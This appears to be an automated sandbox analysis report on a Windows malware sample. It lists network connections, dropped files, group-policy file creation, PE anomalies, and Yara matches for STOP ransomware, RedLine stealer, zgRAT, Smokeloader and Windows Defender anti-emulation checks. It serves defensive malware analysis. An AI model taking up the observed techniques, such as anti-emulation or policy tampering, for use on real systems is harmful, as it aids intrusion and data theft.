Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.42.29:443 -> 192.168.2.4:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.47.123.174:443 -> 192.168.2.4:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.210.117.250:443 -> 192.168.2.4:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.4:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50057 version: TLS 1.2

Source: Yara match	File source: 0000000C.00000002.1921086630.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DbsmJHnmNOlKFVGvWfuU03Cy.exe PID: 4192, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpCCDC.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpCCCB.tmp			Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.1907465185.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.HXqqC3YwnKDsi7zeJNheTOoZ.exe.660000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 30.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 21.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000013.00000002.1907465185.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000002.2376434114.0000000002D9B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 00000009.00000002.2260956551.0000028B1B1E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000013.00000002.1907412853.000000000214D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen

PE file contains section with special chars

Source: BI6oo9z4In.exe	Static PE information: section name:
Source: BI6oo9z4In.exe	Static PE information: section name:
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: section name:
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: section name:
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: section name:
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: section name:

PE file has nameless sections

Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Windows\System32\GroupPolicy\gpt.ini	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Windows\System32\GroupPolicy\Machine	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Windows\System32\GroupPolicy\User	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Windows\System32\GroupPolicy\Machine\Registry.pol	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	File created: C:\Windows\SysWOW64\GroupPolicy\gpt.ini
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001F6250	5_2_001F6250
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0015A2C0	5_2_0015A2C0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0024A480	5_2_0024A480
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001F88B0	5_2_001F88B0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0024A930	5_2_0024A930
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0024AD00	5_2_0024AD00
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001EF0D0	5_2_001EF0D0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0028F550	5_2_0028F550
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0015B8E0	5_2_0015B8E0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001D1C10	5_2_001D1C10
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00159C90	5_2_00159C90
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0023E170	5_2_0023E170
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001F4320	5_2_001F4320
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0019036F	5_2_0019036F
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_002F052E	5_2_002F052E
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001D45E0	5_2_001D45E0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_002986C0	5_2_002986C0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001A47BF	5_2_001A47BF
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0018A928	5_2_0018A928
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0018C960	5_2_0018C960
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00248B40	5_2_00248B40
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001A8BB0	5_2_001A8BB0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0023EC40	5_2_0023EC40
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00296D20	5_2_00296D20
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00284D40	5_2_00284D40
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001A8E30	5_2_001A8E30
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0023CF20	5_2_0023CF20
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_003070E5	5_2_003070E5
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001871A0	5_2_001871A0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_003B3327	5_2_003B3327
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00221450	5_2_00221450
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0017F580	5_2_0017F580
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001F3610	5_2_001F3610
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0021F6F0	5_2_0021F6F0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00247730	5_2_00247730
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00297760	5_2_00297760
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00247960	5_2_00247960
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_001CB970	5_2_001CB970
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0019DA86	5_2_0019DA86
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0021BAC0	5_2_0021BAC0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_0023FC40	5_2_0023FC40
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00295DE0	5_2_00295DE0
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00291F00	5_2_00291F00
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: 6_2_006768B8	6_2_006768B8
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: 6_2_00673320	6_2_00673320

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process token adjusted: Security

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: String function: 00184380 appears 31 times
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: String function: 0016ACE0 appears 37 times
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: String function: 00664F90 appears 48 times
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: String function: 0454FFCC appears 56 times
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: String function: 04556420 appears 56 times
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: String function: 04557EF0 appears 36 times
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Code function: String function: 04553D70 appears 40 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3228 -ip 3228

Source: crt[1].exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: jNWxa0Pc_jGneI3LjcIqUJSt.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: uyMYdkI0kpEOwxO0H1smOiYQ.exe.0.dr

Static PE information: No import functions for PE file found

Source: BI6oo9z4In.exe, 00000000.00000003.1748709542.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFancyZonesEditor.dll4 vs BI6oo9z4In.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1775265947.0000000004E8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs BI6oo9z4In.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1736892257.0000000004544000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesFilezera2 vs BI6oo9z4In.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1736984149.000000000454E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesFilezera2 vs BI6oo9z4In.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1771258725.0000000004F16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs BI6oo9z4In.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1771626107.000000000455B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs BI6oo9z4In.exe

Source: 6.2.HXqqC3YwnKDsi7zeJNheTOoZ.exe.660000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 30.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 21.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000013.00000002.1907465185.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000002.2376434114.0000000002D9B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
